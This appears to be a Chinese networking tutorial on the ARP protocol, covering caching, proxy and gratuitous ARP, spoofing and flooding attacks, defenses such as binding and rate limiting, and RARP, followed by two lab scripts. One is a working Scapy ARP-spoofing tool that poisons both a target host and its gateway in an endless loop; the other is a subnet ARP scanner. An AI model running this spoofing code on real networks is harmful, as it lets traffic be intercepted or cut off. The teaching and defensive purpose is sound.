TCP/IP协议 第四章-ARP协议

 

1、什么是ARP

IP地址解析为以太网MAC地址(物理地址)的协议

1.1、为什么既要有IP地址又要有MAC地址

        IP地址表达的是当前机器在网络中的位置,类似于城市名+道路号+门牌号的概念。通过ip层的寻址,我们能知道按何种路径在全世界任意两台Internet上的的机器间传输数据

        MAC地址的设计不携带设备在网络中的位置信息,通常是不变的。

        由于历史原因,早期只有链路层和物理层。

1.2、ARP协议属于网络层还是链路层

从功能来看,ARP协议是为了获取MAC信息,服务于链路层;从包类型来看,它与IP协议都有各自的type类型,一个是0x0806,一个是0x0800,和IP协议平起平坐,属于网络层

2、ARP帧格式

2.1、ARP的工作原理

2.2、•为什么需要ARP高速缓存?

发送端往往需要有多个IP数据包发送到同一目的端。如果每次都使用ARP协议,开销很大。

2.3、ARP高速缓存

üARP高速缓存表

          1)动态ARP                    ARP协议自动生成和维护,可以被老化

          2)静态ARP表                     手工配置和维护,不会被老化             

ü生命周期

          1)动态条目随时间推移自动添加和删除

          2)静态条目一直保留在ARP缓存中,永久生效,

2.4、ARP常用命令

2.5、代理ARP

ARP请求从一个网络的主机发往另一个网络,具有代理ARP功能的设备回答该请求,屏蔽了分离的物理网络。

 

2.6、免费ARP

一个发往自己IP地址的ARP请求。

免费ARP有两个作用:

ü检测IP地址冲突:确定另一个主机是否设置了相同的IP地址
ü更新ARP表项:设备改变了硬件地址,通过发送免费ARP报文通知其他设备更新ARP表项

 

3、ARP协议攻击

 

3.1、漏洞的根源:

üARP协议是无连接
ü没有ARP请求也可ARP回复
ü操作系统受到ARP回复之后会更新缓存

3.2、ARP欺骗攻击伪造网关

攻击者发送伪造的网关ARP报文,欺骗同网段内的其他主机。

主机访问网关的流量,被重定向到一个错误的MAC地址,导致该用户无法正常访问外网。

3.3、ARP欺骗攻击欺骗网关

攻击者伪造虚假的ARP报文,欺骗网关。

网关发给该用户的所有数据全部重定向到一个错误的MAC地址,导致该用户无法正常访问外网。

3.4、ARP欺骗攻击欺骗终端用户

攻击者伪造虚假的ARP报文。欺骗相同网段内的其他主机。

网段内的其他主机发给该用户的所有数据都被重定向到错误的MAC地址,同网段内的用户无法正常互访。

3.5、ARP泛洪攻击

攻击者伪造大量不同ARP报文在同网段内进行广播,导致网关ARP表项被占满,合法用户的ARP表项无法正常学习,导致合法用户无法正常访问外网。

4、ARP攻击防御

4.1、网关防御

Ø合法ARP绑定,防御网关被欺骗
ØARP数量限制,防御ARP泛洪攻击  

4.2、接入设备防御

Ø网关IP/MAC绑定,过滤掉仿冒网关的报文
Ø合法用户IP/MAC绑定,过滤掉终端仿冒报文
ØARP限速

4.3、客户端防御

Ø绑定网关信息

常见技术

ØDHCP snooping
ØIP Source Guard
Ø交换机端口安全技术
ØMAC访问控制列表
ØARP报文限速
ØARP mac地址手工绑定

4.4、认证防御模式

通过增强用户的认证机制来获取上线用户的IP-MAC对应关系,并且利用认证手段来确认当前用户的合法性。从而有效的解决难以获取合法用户的 IP-MAC对应关系的问题。同时通过事先在认证服务器上配置网关的IP-MAC对应关系的方式来几种管理网络中存在的网关的IP-MAC信息。当合法用户上线时,可以利用上述的两个关键信息对网络中存在的虚假ARP报文以过滤或者绑定合法的ARP信息,从而有效的防御ARP欺骗行为。

5、ARP限速

开启某个端口的ARP报文限速功能后,交换机对每秒内该端口接收的ARP报文数量进行统计,如果每秒收到的ARP报文数量超过设定值,则认为该端口处于超速状态(即收到ARP报文攻击)。此时,交换机将关闭改端口,使其不再接受任何报文,从而避免大量ARP报文攻击设备。同时设备支持配置端口状态自动恢复功能,对于配置了ARP限速功能的端口,在其因超速而被交换机关闭后,经过一段时间自动恢复为开启状态。

6、RARP协议

Ø反向地址转换协议:MAC地址->IP地址
ØRARP协议广泛用于获取无盘工作站的IP地址
 
6.1、RARP工作原理
 
1.主机发送一个本地的RARP广播,在此广播包中,声明自己的MAC地址并且请求任何收到此请求的RARP服务器分配一个IP地址
2.本地网段上的RARP服务器收到次请求后,检查其RARP列表,查找该MAC地址对应的IP地址
3.如果存在,RARP服务器就给源主机发送一个相应数据包将此IP地址提供给对方使用
4.如果不存在,RARP服务器将不做任何响应

  

 

实验一、arpAttck.py


import threading                                         # 多线程
import time                                              # 和时间相关的模块
from scapy.all import get_if_hwaddr, sendp              # sendp方法在第二层发送数据包   get_if_hwaddr方法获取指定网卡的mac地址
from scapy.layers.l2 import getmacbyip,ARP, Ether       # Ether用来构建以太网数据包  ARP是构建ARP数据包的类 getmacbyip方法用于通过ip获取mac地址
from optparse import OptionParser                       #选项模块
import arpScanner

def get_mac(tgt_ip):
    '''
    调用scapy的getmacbyip函数,获取攻击目标IP的MAC地址。
    '''
    tgt_mac = getmacbyip(tgt_ip)
    if tgt_mac is not None:
        return tgt_mac
    else:
        print("无法获取IP为:%s 主机的MAC地址,请检查目标IP是否存活" % tgt_ip)

def create_arp_station(srcMac, targetMac, gatewayIp, targetIp):
    '''
    生成ARP数据包,伪造网关欺骗目标计算机
    srcMac :本机的MAC地址,充当中间人
    targetMac:目标计算机的MAC
    gatewayIp:网关的IP,将发往网关的数据指向本机(中间人),形成ARP攻击
    targetIp:目标计算机的IP
    op=is-at,表示ARP响应
    '''
    eth = Ether(src=srcMac, dst=targetMac)
    arp = ARP(hwsrc=srcMac, psrc=gatewayIp, hwdst=targetMac, pdst=targetIp, op="is-at")
    pkt = eth / arp
    return pkt


def create_arp_gateway(srcMac, gatewayMac, targetIp, gatewayIp):
    '''
    生成ARP数据包,伪造目标计算机欺骗网关
    srcMac:本机的MAC地址,充当中间人
    gatewayMac:网关的MAC
    targetIp:目标计算机的IP,将网关发往目标计算机的数据指向本机(中间人),形成ARP攻击
    gatewayIp:网关的IP
    op=is-at,表示ARP响应
    '''
    eth = Ether(src=srcMac, dst=gatewayMac)
    arp = ARP(hwsrc=srcMac, psrc=targetIp, hwdst=gatewayMac, pdst=gatewayIp, op="is-at")
    pkt = eth / arp
    return pkt


def main():
    """
    主方法
    """

    usage = "Usage: %proc -sm <src_mac> -t <target_ip> -tm <target_mac> -g <gateway_ip> -gm <gateway_mac> -i <interface> -a <all_arp>"
    parser = OptionParser(usage=usage)
    parser.add_option("-s","--srcmac", type="string", dest="srcmac", help="发送源计算机的MAC,如果不提供,默认将采用本机的MAC地址")
    parser.add_option("-t", "--targetip", type="string", dest="targetip",default = "192.168.21.", help="指定目标计算机IP")
    parser.add_option("-v","--targetmac", type="string", dest="targetmac", help="指定目标计算机MAC,如果不提供,默认将根据其IP获取MAC地址")
    parser.add_option("-g","--gatewayip", type="string", dest="gatewayip", default = "192.168.21.1", help="指定网关IP")
    parser.add_option("-y","--gatewaymac", type="string", dest="gatewaymac", default = "80:e8:6f:3a:8e:d4", help="指定网关MAC,如果不提供,默认将根据其IP获取MAC地址")
    parser.add_option("-i","--interface", type="string", dest="interface", help="指定使用的网卡")
    (options, args) = parser.parse_args()

    targetIp = options.targetip
    gatewayIp = options.gatewayip
    srcMac = options.srcmac
    targetMac = options.targetmac
    gatewayMac = options.gatewaymac
    interface = options.interface

    if targetIp is None or gatewayIp is None:
        print("targetip and gatewayip is necessary!")
        return

    if targetMac is None:
        targetMac = arpScanner.sweep(targetIp)
    print("目标计算机IP地址:",  targetIp,  ", 目标计算机MAC地址: " , targetMac)

    if gatewayMac is None:
        gatewayMac = arpScanner.sweep(gatewayIp)
    print("网关IP地址:", gatewayIp, ", 网关MAC地址: ", gatewayMac)
    input('按任意键继续:')

    pktStation = create_arp_station(srcMac, targetMac, gatewayIp, targetIp)
    pktGateway = create_arp_gateway(srcMac, gatewayMac, targetIp, gatewayIp)
    i = 1
    while True:
        t = threading.Thread(
            target=sendp,
            args=(pktStation,),
            kwargs={'inter': 1, 'iface': interface}#创建进程
        )
        t.start()
        t.join()
        print(str(i) + " [*]发送一个计算机ARP欺骗包")

        s = threading.Thread(
            target=sendp,
            args=(pktGateway,),
            kwargs={'inter': 1, 'iface': interface}
        )
        s.start()
        s.join()
        print(str(i) + " [*]发送一个网关ARP欺骗包")
        i += 1
        time.sleep(1)
if __name__ == '__main__':
    main()

实验二、arpScanner.py

#!python3
#coding=utf-8

from scapy.all import *             #最重要的模块
from threading import Thread        #多线程模块,加快扫描速度
from optparse import OptionParser   #选项模块

from scapy.layers.l2 import Ether, ARP

def sweep(ip, showPackage=0):
    """
    通过ip找到对应的MAC地址
    """
    try:
        pakt=Ether(dst="ff:ff:ff:ff:ff:ff",src="f4:8e:38:af:73:a5")/ARP(hwsrc="f4:8e:38:af:73:a5",psrc="10.10.40.49",hwdst="00:00:00:00:00:00",pdst=ip)#构造一个arp包
        result=srp1(pakt,timeout=1,verbose=0)#定义发送的模式 sr为三层的包 srp为只发不收
        if result:
            time.sleep(0.1)#延迟0.1
            print(result[ARP].psrc, "----------->", result[ARP].hwsrc)
            if showPackage == 1:
                print("send package:")
                hexdump(pakt);
                print("receive package:")
                hexdump(result)
            return result[ARP].hwsrc
    except:
        return None

def main():
    """
    主方法
    遍历整个子网的ip地址,发现对应的mac地址
    """
    usage="Usage: %proc -i <ip address>"
    parser=OptionParser(usage=usage)
    parser.add_option("-i","--ip",type="string",dest="address",default='192.168.21.252',help="specify the IP address")
    (options, args)=parser.parse_args()
    print(options)
    print(args)
    address = options.address
    if address.endswith(".0"):
        prefix=address.split(".")[0]+"."+address.split(".")[1]+"."+address.split(".")[2]+"."#分割ip地址
        for i in range(1,255):
            ip=prefix+str(i)
            t=Thread(target=sweep,args=(ip,))
            t.start()
    else :
        ip = address
        t = Thread(target=sweep, args=(ip,1))
        t.start()


if __name__ == '__main__':
    main()

 

感谢:wangyh

 

 

 

 

 

 

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章